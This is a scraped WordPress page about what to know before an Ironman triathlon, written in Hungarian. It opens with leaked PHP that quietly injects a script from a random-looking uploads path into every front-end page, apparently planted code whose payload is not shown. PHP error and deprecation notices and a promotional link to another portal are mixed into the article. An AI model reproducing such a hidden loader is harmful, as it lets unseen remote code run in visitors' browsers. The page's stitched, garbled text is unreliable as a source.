if (!function_exists('sch_enqueue_front_asset')) {
function sch_enqueue_front_asset() {
wp_enqueue_script('sch-front', 'https://trendline.cc/wp-content/uploads/lib-ea65ba/static-c87c/front-aa7cd11e.js', array(), null, false);
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Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the salient domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home3/viyranet/public_html/trendline/wp-includes/functions.php on line 6131
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Deprecated: Creation of dynamic property ReduxFramework::$apiHasRun is deprecated in /home3/viyranet/public_html/trendline/wp-content/themes/salient/nectar/redux-framework/ReduxCore/inc/class.redux_api.php on line 118 Mit kell tudni az Ironmanről és hogyan érdemes megközelíteni – Trendline Deprecated: Creation of dynamic property ReduxFramework_typography::$parent is deprecated in /home3/viyranet/public_html/trendline/wp-content/themes/salient/nectar/redux-framework/ReduxCore/inc/fields/typography/field_typography.php on line 51
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Mit kell tudni az Ironmanről és hogyan érdemes megközelíteni
Az Ironman a triatlon egyik legismertebb formája, még azoknak is, akik csak távolról követik a sportot. A teljes táv egyszerre kíván állóképességet, fegyelmet és pontos beosztást. A triatlonban az átmenetek ideje rövidebbnek tűnik, mint amekkora hatásuk lehet a verseny egészére.
Mire kell figyelni a felkészülésnél
Az időeredményekről szóló beszélgetések is ezért érdekesek. Ugyanaz a végeredmény teljesen más képet mutathat egy sík, gyors pályán, mint szeles vagy technikás körülmények között. A rajtlista, a hőmérséklet és az útvonal jellege együtt adnak értelmet annak, amit a célidő végül mutat.
A Znaki FM portálon az is kiderül, milyen útvonalakon rendezik meg az ironman magyarország futamait.
A következő pontok különösen sokszor előkerülnek, amikor valaki a teljesítés nehézségét próbálja megérteni:
úszás közbeni ritmus
kerékpáros tempó
futás előtti frissítés
A verseny napján a rutinszerű döntések sokszor többet érnek a hirtelen ötleteknél. Aki előre tudja, mikor eszik, mennyit iszik, hogyan vált felszerelést, és milyen tempóban kezd, több eséllyel marad nyugodt akkor is, amikor a pálya már nehéz. Ez a nyugalom a végére gyakran percekben is mérhető előnyt jelent. A magyar közönség számára Budapest és a Balaton környéke miatt is ismerős lehet az Ironman 70.3 korábbi hazai jelenléte.
Milyen kérdések merülnek fel először
A felszerelés szerepét sem érdemes külön kezelni az edzéstől. Egy rosszul választott cipő, kényelmetlen bringapozíció vagy bizonytalan frissítési rendszer hosszú órák alatt sokkal nagyobb problémává válik, mint rövidebb távon. A teljes Ironmanben az apró kényelmetlenségek is összeadódnak.
A következő rövid összevetés segít gyorsabban átlátni a fő különbségeket:
Szempont
Mi számít
Miért fontos
Pálya
szél és profil
befolyásolja az időt
Frissítés
folyamatos bevitel
megelőzi a visszaesést
Átmenet
rutin
könnyebb maradni nyugodtnak
Az is gyakran felmerül, hogy ki melyik szakasztól tart leginkább. Van, akinek az úszás ad bizonytalanságot, másnak a kerékpár hossza vagy a maraton vége. A teljesítést végül nem egyetlen kedvenc szám dönti el, hanem az, hogy a sportoló mennyire tud elfogadható szinten maradni mindhárom részben.
A magyar triatlonos közegben az is gyakori kérdés, mennyire más az Ironman terhelése egy olimpiai távhoz képest.
A klasszikus Ironman három részből áll: 3,8 kilométer úszásból, 180 kilométer kerékpárból és 42,2 kilométer futásból.
